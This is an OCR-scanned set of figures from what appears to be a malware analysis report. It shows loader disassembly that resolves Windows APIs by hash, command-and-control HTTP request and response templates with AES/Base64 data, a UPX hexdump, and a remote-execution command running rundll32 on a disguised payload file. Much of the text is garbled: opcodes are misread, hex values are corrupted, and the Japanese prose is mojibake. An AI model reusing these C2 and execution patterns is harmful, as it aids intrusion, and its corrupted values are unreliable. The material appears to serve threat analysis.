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il s =

128 lea rdx, [rsp+126h+var_100]

128 mov r8d, 40h ; '@

128 mov rcx, rax

128 mov [rsp+120h+var_100], 1BCD114Ch
128 mov [rsp+120h+var_FC], 81D876E1
128 mow [rsp+12Bh+var_F8], C955FBBChH
128 mov [rsp+128h+var_FA4], S544EBF15h
128 mov [rsp+128h+var_F@], 35DB5465h
128 mov [rsp+12@h+var_EC], 47B8E965h
128 mov [rsp+120h+var_E8], OFOEOZS L
128 mowv [rsp+128h+var_E4], 860CABSED
128 mov [rsp+120h+var_EB], 0C []4: Windows APt
128 mov [rsp+128h+var_DC], @E6T798BDFh
128 mov [rsp+120h+var_D8], 5212BFBh
128 mov [rbp+57h+var_D4], 0B92FE7/91
128 mow [rbp+57h+var_D@], @B589BB46h
128 mov [rbp+57h+var_CC], 67C7A566h
128 mov [rbp+57h+var_C8], OFOD12F2F
128 mov [rbp+57h+var_C4], 26A25817h
128 call mal load api_address

128 mow cs:CreateToolhelp32Snapshot, rax
128 test rax, rax

128 jz loc_7FEEEFCA432D
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POST /[Path] HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Cookie: token=[5 > & L7BE(4H7) ] [FRAE+— (447) 1 [1E{SE%¥]

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36

Content-Length: [Size]

Host:[Server]

[param]=[Base64 data]

POSTF—%0/X5 X =%~ ([param]) (FANTH 55> K AIZERENET.

tname;blogdata;content; thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;cate

F71-. POSTF—XDEIZANTOERDT—L 5#Baseb4TO— N L1-bDE i) £9.
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POST /[Path] HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) ApplewWebKit/537.36 (KHTML, like
Gecko) Chrome/70.0.3538.77 Safari/537.36

Content-Length: [Size]

Host: [Server]

Cookie: token=[#$t7]; JSESSIONID=[Session ID]

[param]=[Datal (Base64 + AES)][Data2 (Base64 + AES)]
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HTTP/1.1 200 OK

Date: Tue, 25 Jun 2020 21:30:42 GMT
Server: Apache/2.4.26 (Unix) OpenSSL/1.0.1
Content-Encoding: IS0-8859-1

Content-Type: text/html;charset=IS0-8859-1
Access-Control-Allow-0Origin: *

Keep-Alive: timeout=5, max=98

Connection: Keep-Alive

Transfer-Encoding: chunked
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00000210 00 04 00 OO0 OO0 00 00 OO0 OO0 OO OO 00 OO0 OO 00 00

00000220 &0 00 00 e0 55 50 58 31 00 00 OD OO0 OO 60 01 00

00000230 00 10 02 00 00 5¢ 01 00 OO0 04 00 OO OO0 00 00 00

00000240 00 00 00 OO0 OO0 00 00 00 40 OO0 00 &0 2¢ 72 73 72

00000250 &3 00 00 00 OO0 10 00 00 OO0 70 03 00 0O 04 00 00

00000260 OO0 60 O1 OO0 OO0 00 00 OO0 OO0 OO0 00 00 OO0 00 00 00

00000270 40 00 00 <O 00 00 00 00 OO0 00 00 OO0 00 00 00 00

00000280 00 00 00 OO0 00 00 00 00 OO0 00 00 00 00 00 00 00
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[File_Name].exe -u USERID -p PASSWORD=[password] -H [IP_Address] -X
"c:\windows\system32rundl132.exe C:\ProgramData\iconcache.db,CryptGun [AES Key]"
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[1] GitHub: SMBMap
https://github.com/ShawnDEvans/smbmap
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